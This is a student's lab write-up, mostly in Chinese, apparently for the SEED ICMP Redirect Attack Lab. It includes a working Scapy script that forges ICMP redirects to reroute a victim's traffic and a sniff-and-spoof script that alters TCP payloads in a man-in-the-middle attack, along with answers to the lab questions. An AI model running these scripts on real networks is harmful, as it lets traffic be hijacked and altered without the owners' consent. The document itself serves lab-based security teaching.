ICMP Redirect Attack Lab
Task 1: Launching ICMP Redirect Attack
启动容器
修改ICMP_redirect.py并在attack上运行
#!/usr/bin/python3
from scapy.all import *
Ma_IP = '10.9.0.111'
Router_IP = '10.9.0.11'
Victim_IP = '10.9.0.5'
Network_IP = '192.168.60.5'
ip = IP(src = Router_IP , dst = Victim_IP )
icmp = ICMP(type=5, code=1)# type 5 code 0 for redirect host
icmp.gw = Ma_IP
# The enclosed IP packet should be the one that
# triggers the redirect message.
ip2 = IP(src = Victim_IP , dst = Network_IP )
send(ip/icmp/ip2/ICMP());
victim缓存未改变
根据实验手册的说法,这种攻击在平时是可以直接成功的,但是本实验提供的容器中受害者会对这种重连报文进行检查,当且仅当受害者正在向目标发送ICMP时收到这种攻击报文时才能成功。
因此在victim ping 10.9.0.105时发送报文,攻击才成功
- Question 1:
不能。发生ICMP重定向要求求重定向的地址与自身处于同一个LAN下。如果将重定向的网关指向不在同一个LAN下的地址,则不会被写入到受害者的缓存中。 - Question 2:
不能。将报文导向一个不存在的地址10.9.0.115时,victim的缓存未发生改变 - Question 3:
恶意路由自行发送了重定向报文
Task 2: Launching the MITM Attack
在malicious-router中关闭IP转发
sysctl net.ipv4.ip_forward=0
并在恶意路由中启动过滤器
MIMT代码:
#!/usr/bin/env python3
from scapy.all import *
VIC_MAC='02:42:0a:09:00:05'
def spoof_pkt(pkt):
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)
print("Get a pkt!!!")
if pkt[TCP].payload:
data = pkt[TCP].payload.load
print("*** %s, length: %d" % (data, len(data)))
# Replace a pattern
newdata = data.replace(b'seedlabs', b'AAAAAAAA')
send(newpkt/newdata)
else:
send(newpkt)
f = f'tcp and (ether src {VIC_MAC})'
#f = 'tcp'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
在192.168.60.5主机上启动netcat server,并在victim上连接该主机
On the destination container 192.168.60.5, start the netcat server:
# nc -lp 9090
On the victim container, connect to the server:
# nc 192.168.60.5 9090
在victim上发送数据
192.168.60.5主机上的结果(未被修改)
恶意路由上截取的信息
- Question 4:
因为欺骗victim主机,改变路由方向,使其向恶意路由发送报文,因此只需捕获接收到的数据包 - Question 5:
应该使用MAC地址进行过滤,因为使用IP会造成转发风暴。展示风暴截图: